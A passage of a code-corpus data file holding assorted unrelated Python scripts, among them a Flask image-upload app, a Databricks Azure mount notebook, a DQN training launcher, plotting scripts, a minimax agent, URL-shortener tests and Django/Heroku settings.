val2, val3, val4, val5]\n    print(colors)\n    word = session['word']\n    return render_template('wordcolor.html', colors=colors, word=word)\n\n\n@app.route('/show/')\ndef uploaded_file(filename):\n    filename = '../uploads/' + filename\n    session['path'] = filename\n    print(filename)\n    images = os.listdir(os.path.join(app.static_folder, \"images\"))\n    print(images)\n    return render_template('pickFile.html', filename=filename, images=images)\n\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/uploads//')\ndef send_file(filename):\n    return send_from_directory(UPLOAD_FOLDER, filename)\n\n@app.route('/final')\ndef final():\n    color = request.args.get('color')\n    word = session['word']\n    path = session['path']\n    session['color'] = color\n\n    return render_template(\"final.html\", word=word, path=path, color=color)\n\n@app.route('/list')\ndef list():\n    BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n    db_path = os.path.join(BASE_DIR, \"new_file\")\n    con = sql.connect(db_path)\n\n\n    print('connection: ', con)\n\n\n    con.row_factory = sql.Row\n\n    cur = con.cursor()\n    cur.execute(\"select * from information\")\n\n\n    rows = cur.fetchall();\n    print('rows', rows)\n\n    return render_template(\"userPhoto.html\", rows=rows)\n\n@app.route('/submit')\ndef submit():\n    word = session['word']\n    path = session['path']\n    val1 = session['val1']\n    val2 = session['val2']\n    val3 = session['val3']\n    val4 = session['val4']\n    val5 = session['val5']\n    color = session['color']\n\n\n    BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n    db_path = os.path.join(BASE_DIR, \"new_file\")\n    # con = sql.connect(db_path)\n\n    try:\n\n        with sql.connect(db_path) as con:\n            cur = con.cursor()\n            cur.execute(\"INSERT INTO information (photopath, word, hexColor, val1, val2, val3, val4, val5) VALUES(?, ?, ?, ?, ?, ?, ?, ?)\",\n                        (path, word, color, val1, val2, val3, val4, val5))\n            con.commit()\n            msg = \"Record successfully added\"\n            print(msg)\n    except:\n        con.rollback()\n        msg = \"error in insert operation\"\n        print(msg)\n\n    finally:\n        return redirect('/list')\n        con.close()\n\n\nif __name__ == '__main__':\n    app.run()\n","sub_path":"untitled1.py","file_name":"untitled1.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"267304827","text":"\"\"\"\n Run gpnids and send the result back to stdout\n\"\"\"\n\nimport sys\nimport os\nimport tempfile\nimport subprocess\n\n\nos.putenv(\"GEMTBL\", \"/home/ldm/pyWWA/gempak/tables\")\nos.putenv(\"GEMERR\", \"/home/ldm/pyWWA/gempak/error\")\nos.putenv(\"GEMPDF\", \"/home/ldm/pyWWA/gempak/pdf\")\n\ndef write_data():\n    \"\"\"\n    Do the GEMPAK workflow!\n    \"\"\"\n    tmpfn = tempfile.mktemp().lower()\n    o = open(\"%s.ncr\" % (tmpfn,), 'wb')\n    o.write( sys.stdin.read() )\n    o.close()\n    return tmpfn\n\ndef do_gempak(tmpfn):\n    \"\"\"\n    Do the GEMPAK workflow\n    \"\"\"\n    cmd = \"\"\"  RADFIL   = %s.ncr\n RADTIM   =\n TITLE    = 1\n PANEL    = 0\n DEVICE   = GIF|%s.gif\n CLEAR    = YES\n TEXT     = 1\n COLORS   = 1\n WIND     = \n LINE     = 3\n CLRBAR   =\n IMCBAR   =\n GAREA    = DSET\n MAP      = 1/1/2\n LATLON   =\n OUTPUT   = f/%s.out\n list\n run\n\n exit\n\"\"\" % (tmpfn, tmpfn, tmpfn)\n    p = subprocess.Popen(\"/home/ldm/bin/gpnids_vg\",\n                         stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                         stderr=subprocess.PIPE)\n    p.communicate(cmd)\n    #(so, se) = p.communicate(cmd)\n    #p.stdin.write(cmd)\n    #se = p.stderr.read()\n    #so = p.stdout.read()\n    #time.sleep(3)\n    #l.write( se )\n    #l.write(so)\n    for suffix in ['gif','ncr']:\n        if os.path.isfile('%s.%s' % (tmpfn,suffix)):\n            os.unlink(\"%s.%s\" % (tmpfn,suffix))\n\ndef main():\n    \"\"\"\n    Actually do work!\n    \"\"\"\n    tmpfn = write_data()\n    do_gempak(tmpfn)\n    fn = \"%s.out\" % (tmpfn,)\n    if os.path.isfile(fn):\n        sys.stdout.write( open(fn).read() )\n        os.unlink(fn)\n    \nif __name__ == '__main__':\n    main()\n\n\n","sub_path":"ncr2postgis.py","file_name":"ncr2postgis.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"71166079","text":"# Databricks notebook source\n# Mount Azure storage\nMOUNTPOINT = \"/mnt/weatherstorage\"\nCONTAINER = dbutils.secrets.get(scope=\"Azure Key Vault\", key=\"container-name\")\nSTORAGE = dbutils.secrets.get(scope=\"Azure Key Vault\", key=\"storage-account-name\")\nSAS = dbutils.secrets.get(scope=\"Azure Key Vault\", key=\"databricks-accesstoken\")\nURI = \"fs.azure.sas.{container}.{storage}.blob.core.windows.net\".format(container=CONTAINER, storage=STORAGE)\n\ntry:\n  dbutils.fs.mount(\n    source = \"wasbs://{container}@{storage}.blob.core.windows.net\".format(container=CONTAINER, storage=STORAGE), \n    mount_point = MOUNTPOINT,\n    extra_configs = {URI:SAS})\nexcept Exception as e:\n  if \"Directory already mounted\" in str(e):\n    print(\"Mount already exists\")\n    pass\n  else:\n    raise e\n\n# COMMAND ----------\n\n# Load electric yearly coonsumption from an Excel file retrieved manually from the electric company\nfrom pyspark.sql.functions import *\n\nelDf = (spark.read.format(\"com.crealytics.spark.excel\")\n.option(\"header\", \"true\")\n.option(\"treatEmptyValuesAsNulls\", \"false\")\n.option(\"inferSchema\", \"true\")\n.option(\"addColorColumns\", \"false\")\n.load(\"/mnt/weatherstorage/electric-usage.xlsx\"))\nelDf = elDf.where(\"Tila <> 'Puuttuva'\").withColumn(\"DateHour\", date_format(to_timestamp(concat(col(\"Päivämäärä\"), lit(\" \"), col(\"Tunti\")), \"d.M.yyyy H:mm\"), \"yyyy-MM-dd HH\"))\ndisplay(elDf)\n\n# COMMAND ----------\n\n# Load the temperature data and group it by each hour calculating the average\ntemperDf = spark.read.format(\"json\").load(\"/mnt/weatherstorage/weatherdata.json\")\ntemperDf = temperDf.withColumn(\"DateHour\", date_format(to_timestamp(col(\"datetime\")), \"yyyy-MM-dd HH\")).groupBy(\"DateHour\").agg(avg(\"temperature\").alias(\"Temperature\"))\ndisplay(temperDf)\n\n# COMMAND ----------\n\n# Join the earlier fetched temperature data to the electric usage data\nfrom pyspark.sql import *\n# Ugly way of joining:\n#    combDf = temperDf.join(elDf, temperDf[\"DateHour\"] == elDf[\"DateHour\"]).select(temperDf[\"DateHour\"], \"Temperature\", \"kWh\")\n# SQL way:\ntemperDf.registerTempTable(\"temper\")\nelDf.registerTempTable(\"elusage\")\ncombDf = sqlContext.sql(\"\"\"SELECT elusage.DateHour, temper.Temperature, elusage.kWh FROM temper RIGHT OUTER JOIN elusage ON temper.DateHour == elusage.DateHour\"\"\")\n\ndisplay(combDf)","sub_path":"DataBricks/electricdata.py","file_name":"electricdata.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"2363275","text":"n,m = map(int,input().split())\n\nboard = [[10001]*n for _ in range(n)]\n\nfor _ in range(m):\n    a,b = map(int,input().split())\n    board[a-1][b-1] = 1\n    board[b-1][a-1] = 1\n\nfor i in range(n):\n    board[i][i] = 0\nminny = 10001\nfor k in range(n):\n    for x in range(n):\n        for y in range(n):\n            if board[x][k] <10000 and board[k][y] < 10000:\n                board[x][y] = min(board[x][y], board[x][k]+board[k][y])\n\nanswer = 0\nfor i,b in enumerate(board):\n    if minny > sum(b):\n        answer = i+1\n        minny = sum(b)\nprint(answer)\n","sub_path":"1389 케빈 베이컨의 6단계 법칙.py","file_name":"1389 케빈 베이컨의 6단계 법칙.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"571307216","text":"#\n# Call it this way :\n# python launcher.py --name Angela --mode train --episodes 100 --epsilon 0.95 --epsilon_decay 0.98 --batch_size 8\n# python launcher.py --name Angela --mode test --load Angela___445.00max__181.50avg___65.00min__1613079598.model\n\n# Train a previous model\n# python launcher.py --name Angela --mode train --load Angela___380.00max__178.50avg___40.00min__1613082541.model --episodes 100 --epsilon 0.95 --epsilon_decay 0.98 --batch_size 8\n\n# tensorboard --logs_dir=D:\\AI\\AI_Framework\\tradingBot_DQN_v1\\logs\n#\nimport sys,os\nimport argparse\nimport time\nimport numpy as np \n\nimport gym\n\n# our code\nfrom DQNAgent import DQNAgent\nfrom Magician import Magician\n\n#\n# Command line arguments\n#\nparser = argparse.ArgumentParser(description=\"Train and test different networks on Space Invaders\")\n\n# Parse arguments\n# parser.add_argument(\"-n\", \"--network\", type=str, action='store', help=\"Please specify the network you wish to use, either DQN or DDQN\", required=True)\nparser.add_argument(\"-n\", \"--name\", type=str, action='store', help=\"Please specify the name of your AI model (bob, louis, estelle...)\", required=True)\nparser.add_argument(\"-m\", \"--mode\", type=str, action='store', help=\"Please specify the mode you wish to run, either train or test\", required=True)\nparser.add_argument(\"-l\", \"--load\", type=str, action='store', help=\"Please specify the file you wish to load weights from(for example saved.h5)\", required=False)\nparser.add_argument(\"-e\", \"--episodes\", type=str, action='store', help=\"Number of episodes to run\", required=False)\nparser.add_argument(\"-epsilon\", \"--epsilon\", type=str, action='store', help=\"Epsilon (from 0.0 to 1.0)\", required=False)\nparser.add_argument(\"-ed\", \"--epsilon_decay\", type=str, action='store', help=\"Epsilon Decay (from 0.0 to 1.0)\", required=False)\nparser.add_argument(\"-b\", \"--batch_size\", type=str, action='store', help=\"Number of steps to train the model at each step of the game\", required=False)\n# parser.add_argument(\"-s\", \"--save\", type=str, action='store', help=\"Specify folder to render simulation of network in\", required=False)\n# parser.add_argument(\"-x\", \"--statistics\", action='store_true', help=\"Specify to calculate statistics of network(such as average score on game)\", required=False)\n# parser.add_argument(\"-v\", \"--view\", action='store_true', help=\"Display the network playing a game of space-invaders. Is overriden by the -s command\", required=False)\nargs = parser.parse_args()\nprint(args)\n\n#\n# Create the environment (Game, Trading, whatever...)\n#\n\nenvironment = gym.make('SpaceInvaders-v0')\n#environment = gym.make(\"MountainCar-v0\")\n\n#\n# Create or load a trainer\n#\n#if args.load:\n    # load here a new trainer model\n#else:\n\n# Give the trainer the size of the environment and the number of possible actions\n\n#\n# observation_space : API\n#\n# observation_space.low / observation_space.high / observation_space.shape\n# observation_space.sample() / observation_space.contains()\n\nobs_space_high = environment.observation_space.high\nobs_space_low = environment.observation_space.low\n\n#print(\" observation_space : \" + str(environment.observation_space))\n#print(\" High : \" + str(environment.observation_space.high))\n#print(\" Low : \" + str(environment.observation_space.low))\n#print(\" Shape : \" + str(environment.observation_space.shape))\n\n#\n# Create the Agent\n#\nmyDQNAgent = DQNAgent(name=args.name)\n\n    \n\n\n#\n# Test the choosen model\n#\nif args.mode == \"test\":\n\n    myDQNAgent = DQNAgent(name=args.name)\n\n    magician = Magician(agent=myDQNAgent, env=environment)\n\n    magician.test(model_to_load=args.load)\n\n#\n# Train the choosen model\n#\nif args.mode == \"train\":\n\n    myDQNAgent.set_parameters(environment.observation_space.shape, environment.env.action_space.n, batch_size=int(args.batch_size), learning_rate=0.001,)\n\n    if not args.load:\n        myDQNAgent.prepare_new_model();\n    else:\n        myDQNAgent.load_model(args.load)\n        \n    #\n    # Create the Magician who deals with the Trainer and the Environment\n    #\n    magician = Magician(agent=myDQNAgent, env=environment, epsilon=float(args.epsilon), epsilon_decay=float(args.epsilon_decay), epsilon_mini=0.001)\n\n    # train the agent\n    magician.doMagic(nb_episodes=int(args.episodes))\n\n\n\n","sub_path":"tradingBot_DQN_v1/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"351504002","text":"'''\nhttps://matplotlib.org/3.1.0/tutorials/colors/colormaps.html.\n'''\n\nimport datetime\nimport pandas as pd\nimport matplotlib.pyplot as plt\ndataset = pd.read_csv('https://storage.googleapis.com/dqlab-dataset/retail_raw_reduced.csv')\ndataset['order_month'] = dataset['order_date'].apply(lambda x: datetime.datetime.strptime(x, \"%Y-%m-%d\").strftime('%Y-%m'))\ndataset['gmv'] = dataset['item_price']*dataset['quantity']\n\nplt.clf()\ndataset.groupby(['order_month', 'province'])['gmv'].sum().unstack().plot(cmap='Set1')\nplt.title('Monthly GMV Year 2019 - Breakdown by Province', loc='center', pad=30, fontsize=20, color='blue')\nplt.xlabel('Order Month', fontsize = 15)\nplt.ylabel('Total Amount (in Billions)', fontsize = 15)\nplt.grid(color='darkgray', linestyle=':', linewidth=0.5)\nplt.ylim(ymin=0)\nlabels, locations = plt.yticks()\nplt.yticks(labels, (labels/1000000000).astype(int))\nplt.legend(loc='lower center', bbox_to_anchor=(0.5, -0.5), shadow=True, ncol=3, title='Province', fontsize=9, title_fontsize=11)\nplt.gcf().set_size_inches(10, 5)\nplt.tight_layout()\nplt.show()","sub_path":"05 Data Visualization with Python Matplotlib for Beginner/Part 2/09 kustomisasi colormap.py","file_name":"09 kustomisasi colormap.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"597407495","text":"from math import inf\r\nimport copy\r\n\r\nclass MinimaxAlphaBetaAgent():\r\n\r\n\tdef __init__(self):\r\n\t\treturn\r\n\t\r\n\tdef staticEval(self, state):\r\n\t\treturn state.score\r\n\r\n\tdef minimax_alpha_beta(self, state, depth, alpha, beta, isMax):\r\n\t\tif state.gameOver() or depth is 0:\r\n\t\t\treturn -1, state.score() - depth\r\n\t\tif isMax:\r\n\t\t\tbestValue = -1, -inf\r\n\t\telse:\r\n\t\t\tbestValue = -1, inf\r\n\r\n\t\tfor s in self.get_all_next_moves(state):\r\n\t\t\tplayer = 'X' if isMax else 'O'\r\n\t\t\tstate.move(player, s)\r\n\t\t\tvalue = s, self.minimax_alpha_beta(state, depth - 1, alpha, beta, not isMax)[1]\r\n\t\t\tstate.undo_move(player, s)\r\n\t\t\tif isMax:\r\n\t\t\t\tbestValue = max(bestValue, value, key= lambda i: i[1])\r\n\t\t\t\talpha = max(alpha, bestValue[1])\r\n\t\t\t\tif alpha >= beta:\r\n\t\t\t\t\tbreak\r\n\t\t\t\t\t#return s, alpha\r\n\t\t\telse:\r\n\t\t\t\tbestValue = min(bestValue, value, key= lambda i: i[1])\r\n\t\t\t\tbeta = min(beta, value[1])\r\n\t\t\t\tif alpha >= beta:\r\n\t\t\t\t\tbreak\r\n\t\t\t\t\t#return s, beta\r\n\t\treturn bestValue\r\n\r\n\tdef choose(self, state, player):\r\n\t\treturn self.minimax_alpha_beta(state, len(self.get_all_next_moves(state)), -inf, inf, player)\r\n\r\n\tdef get_all_next_moves(self, state):\r\n\t\tmoves = []\r\n\t\tfor row in state.empty_tiles():\r\n\t\t\tfor tile in row:\r\n\t\t\t\tmoves.append(tile)\r\n\t\treturn moves\r\n","sub_path":"Resources/code/minimaxAlphaBetaAgent.py","file_name":"minimaxAlphaBetaAgent.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"378868178","text":"\n#####################################################################\n### Assignment skeleton\n### You can alter the below code to make your own dynamic website.\n### The landing page for assignment 3 should be at /\n#####################################################################\n\nfrom bottle import route, run, default_app, debug\n\ndef htmlify(title,text):\n    page = \"\"\"\n        \n        \n            \n                \n                %s\n            \n            \n            %s\n            \n        \n\n    \"\"\" % (title,text)\n    return page\n\ndef index():\n    return htmlify()\n    \ndef kobe():\n\treturn htmlify()\n\n\nroute('/index.html', 'GET', index)\nroute('/Kobe_Bryant.html', 'GET', kobe)\n\n#####################################################################\n### Don't alter the below code.\n### It allows this website to be hosted on Heroku\n### OR run on your computer.\n#####################################################################\n\n# This line makes bottle give nicer error messages\ndebug(True)\n# This line is necessary for running on Heroku\napp = default_app()\n# The below code is necessary for running this bottle app standalone on your computer.\nif __name__ == \"__main__\":\n  run()\n\n","sub_path":"Web_app2/bottle_app.py","file_name":"bottle_app.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"32146625","text":"#!/usr/bin/python\n\"\"\"Create a blushlist file from the given input files and categories.\"\"\"\n# Usage: make_blushlist.py  \n\nimport sys, hashlib\ndef main():\n  \"\"\"Read all input files and output the blushlist file.\"\"\"\n  if len(sys.argv) < 4:\n    sys.exit(\"Usage: make_blushlist.py  { \"\n             \"}\")\n\n  f_out = open(sys.argv[1], \"w\")\n  f_out.write(\"// This file is automatically generated by make_blushlist.py\\n\")\n  f_out.write(\"let blushlist = {\\n\")\n  i = 2\n\n  hasher = hashlib.new('sha256')\n  version_hasher = hashlib.new('sha256')\n  # Process all of the files, one by one\n  while i < len(sys.argv):\n    try:\n      f_in = open(sys.argv[i], \"r\")\n    except IOError as ex:\n      sys.exit(\"Can't find file: %s\" % ex)\n    category = sys.argv[i + 1]\n    version_hasher.update(category)\n    for line in f_in.readlines():\n      line = line.strip().lower()\n      hasher.update(line)\n      f_out.write(\"  \\\"%s\\\" : \\\"%s\\\",\\n\" % (hasher.hexdigest()[:48], category))\n      hasher = hashlib.new('sha256')\n      version_hasher.update(line)\n    f_in.close()\n    i += 2\n\n  f_out.write(\"};\\n\")\n  f_out.write(\"module.exports.map = blushlist;\\n\")\n  f_out.write(\"module.exports.version = \\\"%s\\\";\\n\" % version_hasher.hexdigest())\n\n  f_out.close()\n\nif __name__ == \"__main__\":\n  main()\n","sub_path":"util/make_blushlist.py","file_name":"make_blushlist.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"440940963","text":"# coding=utf-8\n\nimport logging\nimport time\nfrom collections import namedtuple\n\nfrom frontik.request_context import RequestContext\n\nlogger = None  # for smooth transition from LoggerAdapter instances to the global logger\n\n_logger = logging.getLogger('frontik.handler')\n\n\nclass RequestLogger(logging.LoggerAdapter):\n\n    Stage = namedtuple('Stage', ('name', 'delta', 'start_delta'))\n\n    def __init__(self, request):\n        self._page_handler_name = None\n        self._last_stage_time = self._start_time = request._start_time\n        self.stages = []\n\n        super(RequestLogger, self).__init__(_logger, {})\n\n        # backcompatibility with logger\n        self.warn = self.warning\n\n    def stage_tag(self, stage_name):\n        stage_end_time = time.time()\n        stage_start_time = self._last_stage_time\n        self._last_stage_time = stage_end_time\n\n        delta = (stage_end_time - stage_start_time) * 1000\n        start_delta = (stage_start_time - self._start_time) * 1000\n        stage = RequestLogger.Stage(stage_name, delta, start_delta)\n\n        self.stages.append(stage)\n        self.debug('stage \"%s\" completed in %.2fms', stage.name, stage.delta, extra={'_stage': stage})\n\n    def get_current_total(self):\n        return sum(s.delta for s in self.stages)\n\n    def log_stages(self, status_code):\n        \"\"\"Writes available stages, total value and status code\"\"\"\n\n        stages_str = ' '.join('{s.name}={s.delta:.2f}'.format(s=s) for s in self.stages)\n        total = sum(s.delta for s in self.stages)\n\n        self.info(\n            'timings for %(page)s : %(stages)s',\n            {\n                'page': RequestContext.get('handler_name'),\n                'stages': '{0} total={1:.2f} code={2}'.format(stages_str, total, status_code)\n            },\n        )\n\n    def process(self, msg, kwargs):\n        if 'extra' in kwargs:\n            kwargs['extra'].update(self.extra)\n        else:\n            kwargs['extra'] = self.extra\n\n        return msg, kwargs\n","sub_path":"frontik/loggers/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"339351395","text":"from __future__ import division\nimport  matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n#import sys\nfrom os.path import expanduser\n\n\ndef xfrm(X, _max): return _max-np.array(X)\n\ndef figplot(dat, y, x, seed, xlab, ylab, fig, fit, disp, n):\n\n    fs = 8\n    if disp == 0: \n        sz = 0.1\n    else:\n        sz = 0.1\n    a = 1\n\n    e = max(seed)\n    dat = dat.tolist()\n    y = y.tolist()\n    \n    x = x.tolist()\n    seed = seed.tolist()\n\n    fig.add_subplot(2, 2, n)\n\n    clrs = []\n\n    for i, val in enumerate(dat):\n        sd = seed[i]    \n        clr = str()\n        if sd <= e*0.3: clr = 'red'\n        elif sd < e*0.4: clr = 'orange'\n        elif sd < e*0.5: clr = 'yellow'\n        elif sd < e*0.6: clr = 'lawngreen'\n        elif sd < e*0.7: clr = 'green'\n        elif sd < e*0.8: clr = 'deepskyblue'\n        elif sd < e*0.9: clr = 'blue'\n        else: clr = 'purple'\n        clrs.append(clr)\n\n    plt.scatter(x, y, s = sz, c=clrs, linewidths=0.0, alpha=a, edgecolor=None)\n    plt.xlabel(xlab, fontsize=fs+2)\n    plt.ylabel(ylab, fontsize=fs+2)\n    plt.tick_params(axis='both', labelsize=fs)\n    return fig\n\n\n\ndef figfunction(met1, met2, fname, disp, label):\n\n    ws, hs = 0.4, 0.4\n    mydir = expanduser(\"~/GitHub/DormancyDecay\")\n\n    fit = 1\n    df = pd.read_csv(mydir+'/model/ModelData/modelresults-numfit.txt')    \n    df = df[df['disperse'] == disp]\n    \n    df = df[df['fit'] == 1]\n    \n    fig = plt.figure()\n\n    if met2 == 'p_err': ylab = 'Percent error'\n    elif met2 == 'p_dif': ylab = 'Percent difference'\n    elif met2 == 'a_dif': ylab = 'Difference'\n\n    xlab = 'Environmental filtering'\n    \n    \n    if label == 'avg':\n        y = df[met1 + '_' + 'e_actslope' + '-' + met2]\n        labels2 = ['e_allslope','g_actslope','g_allslope']\n        for l in labels2:\n            y += df[met1 + '_' + l + '-' + met2]\n        y = y/4\n    else:\n        y = df[met1 + '_' + label + '-' + met2]\n        \n        \n    fig = figplot(df['fit'], y, df['env_r'], df['env_r'], xlab, ylab, fig, fit, disp, 1)\n\n    xlab = 'Dormant death'\n    fig = figplot(df['fit'], y, df['dded'], df['env_r'], xlab, ylab, fig, fit, disp, 2)\n\n    if disp == 1:\n        xlab = 'Active dispersal'\n        fig = figplot(df['fit'], y, df['ad_s'], df['env_r'], xlab, ylab, fig, fit, disp, 3)\n\n        xlab = 'Dormant dispersal'\n        fig = figplot(df['fit'], y, df['dd_s'], df['env_r'], xlab, ylab, fig, fit, disp, 4)\n        \n        \n    #### Final Format and Save #####################################################\n    plt.subplots_adjust(wspace=ws, hspace=hs)\n    \n    plt.savefig(mydir+'/figs/FromSims/temp/'+label+'/'+met1+'-'+met2+fname+'.png',\n        dpi=400, bbox_inches = \"tight\")\n    plt.close()\n\n\n    \n\nfor i in range(2):\n    mydir = expanduser(\"~/GitHub/DormancyDecay\")\n    df = pd.read_csv(mydir+'/model/ModelData/modelresults-numfit.txt')\n    df = df[df['disperse'] == i]\n    \n    tot = df.shape[0]\n    df = df[df['fit'] == 1]\n    fits = df.shape[0]\n    \n    if i == 0:\n        print('No dispersal:', 100*fits/tot)\n    elif i == 1:\n        print('Dispersal:', 100*fits/tot)\n        \n    print('AvgAct:', np.mean(df['avgAct']), 'AvgAll', np.mean(df['avgAll']))\n    print('Sact:', np.mean(df['Sact']), 'Sall:', np.mean(df['Sall']),'\\n')\n\n\n    \n\nfnames = ['_no-dispersal', '_dispersal']\ndisperse = [0, 1]\n\nmetrics1 = ['bray', 'sore', 'canb']\nmetrics2 = ['p_err']\n\nlabels = ['e_actslope','e_allslope','g_actslope','g_allslope','avg']\n#labels = ['avg']\nfor label in labels:\n    for i, fname in enumerate(fnames):\n        for met1 in metrics1:\n            for met2 in metrics2:\n        \n                disp = i\n                figfunction(met1, met2, fname, disp, label)\n","sub_path":"model/ModelComparisonScripts/ScatterFigs.py","file_name":"ScatterFigs.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"453122273","text":"#!/usr/bin/env python\n# encoding: utf-8\ntry:\n    from urllib import urlencode\nexcept ImportError:\n    from urllib.parse import urlencode\n\nfrom pyshorteners import Shortener, Shorteners\nfrom pyshorteners.shorteners import AwsmShortener\nfrom pyshorteners.exceptions import (ShorteningErrorException,\n                                     ExpandingErrorException)\n\nimport responses\nimport pytest\n\napi_key = 'FAKE_KEY'\ns = Shortener(Shorteners.AWSM, api_key=api_key, tool='abcde')\nshort_url = 'http://aw.sm/rjf0oI'\nexpanded = 'http://www.test.com'\n\n\n@responses.activate\ndef test_awsm_short_method():\n    # mock response\n    params = urlencode({\n        'url': expanded,\n        'key': api_key,\n        'channel': 'twitter',\n        'tool': 'abcde',\n        'v': 3\n    })\n    url = '{0}url.txt?{1}'.format(s.api_url, params)\n    responses.add(responses.POST, url, body=short_url, match_querystring=True)\n\n    shorten = s.short(expanded)\n    assert shorten == short_url\n\n\n@responses.activate\ndef test_awsm_short_method_bad_response():\n    url = '{}url.txt'.format(s.api_url)\n    responses.add(responses.POST, url, body=short_url, status=400)\n\n    with pytest.raises(ShorteningErrorException):\n        s.short(expanded)\n\n\n@responses.activate\ndef test_awsm_expand_method_bad_response():\n    responses.add(responses.GET, short_url, body='', status=400,\n                  match_querystring=True)\n\n    with pytest.raises(ExpandingErrorException):\n        s.expand(short_url)\n\n\ndef test_generate_tool_staticmethod():\n    tool = AwsmShortener._generate_random_tool()\n    assert len(tool) == 4\n\n\ndef test_bad_key():\n    s = Shortener(Shorteners.AWSM)\n\n    with pytest.raises(TypeError):\n        s.short(expanded)\n","sub_path":"tests/test_awsm.py","file_name":"test_awsm.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"486958311","text":"from settings import *\nimport os\n\n# Update database configuration with $DATABASE_URL.\nimport dj_database_url\ndb_from_env = dj_database_url.config()\nDATABASES['default'].update(db_from_env)\n\n\nPROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))\n\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, 'staticfiles')\nSTATIC_URL = '/static/'\n\n\nSTATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'\n\nDEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\nAWS_ACCESS_KEY_ID = os.environ['AWS_ACCESS_KEY']\nAWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET_KEY']\nAWS_STORAGE_BUCKET_NAME = os.environ['AWS_BUCKET']","sub_path":"cartotron/heroku.py","file_name":"heroku.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"293518402","text":"from collections import defaultdict\nimport sys\n\n\ndef hanoi(height, left='left', right='right', middle='middle'):\n    if height:\n        hanoi(height-1, left, middle, right)\n        topdisk = d[left].pop(-1)\n        d[right].append(topdisk)\n        print(\"\\n\")\n        print(left, \"=>\", right)\n        cols = ['left', 'middle', 'right']\n\n        print(str(dict(zip(cols, [d[col] for col in cols]))))\n        hanoi(height-1, middle, right, left)\n\n\nn = 3 if len(sys.argv) < 2 else int(sys.argv[1])\n\nd = defaultdict(list)\nd['left'] = list(range(1, n+1)[::-1])\nd['right'] = []\nd['middle'] = []\nhanoi(n)\n","sub_path":"100days_algorithm/day1_hanoitower.py","file_name":"day1_hanoitower.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"13770140","text":"import math\nimport emoji\n\nvNumber = float(input('Please give me a float number:'))\nprint(math.trunc(vNumber))\nprint(emoji.emojize('Python is :thumbs_up:'))\n\n# a2 = b2 + c2\n\nvB = float(input('Entre com o cateto 1: '))\nvC = float(input('Entre com o cateto 2: '))\n\nprint('O Valor da hipotenusa é: ', math.hypot(vB, vC))\n\nvAngulo = float(input('Entre com o ângulo: '))\n\nvSeno = math.sin(math.radians(vAngulo))\nvCosseno = math.cos(math.radians(vAngulo))\nvTangente = math.tan(math.radians(vAngulo))\n\nprint('O ângulo {} tem o Seno = {:.2f}, o Cosseno = {:.2f} e a Tangente = {:.2f}'.format(vAngulo, vSeno, vCosseno, vTangente))\n","sub_path":"Curso de Python - Youtube/desafio016.py","file_name":"desafio016.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"460319388","text":"\"\"\"Request logger views\"\"\"\nfrom django.views.generic.list import ListView\nfrom request_logger.models import RequestLogEntry\n\n\nclass RequestFirstLogRecordsView(ListView):\n    \"\"\"Renders requests log, showing first N requests\"\"\"\n    model = RequestLogEntry\n    template_name = 'request_log.html'\n    count = 10\n\n    def get_queryset(self):\n        queryset = super(RequestFirstLogRecordsView, self).get_queryset()\n        queryset = queryset.order_by('priority', 'request_datetime')\n        queryset = queryset[:self.count]\n        return queryset\n\n\nshow_log = RequestFirstLogRecordsView.as_view()\n","sub_path":"request_logger/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
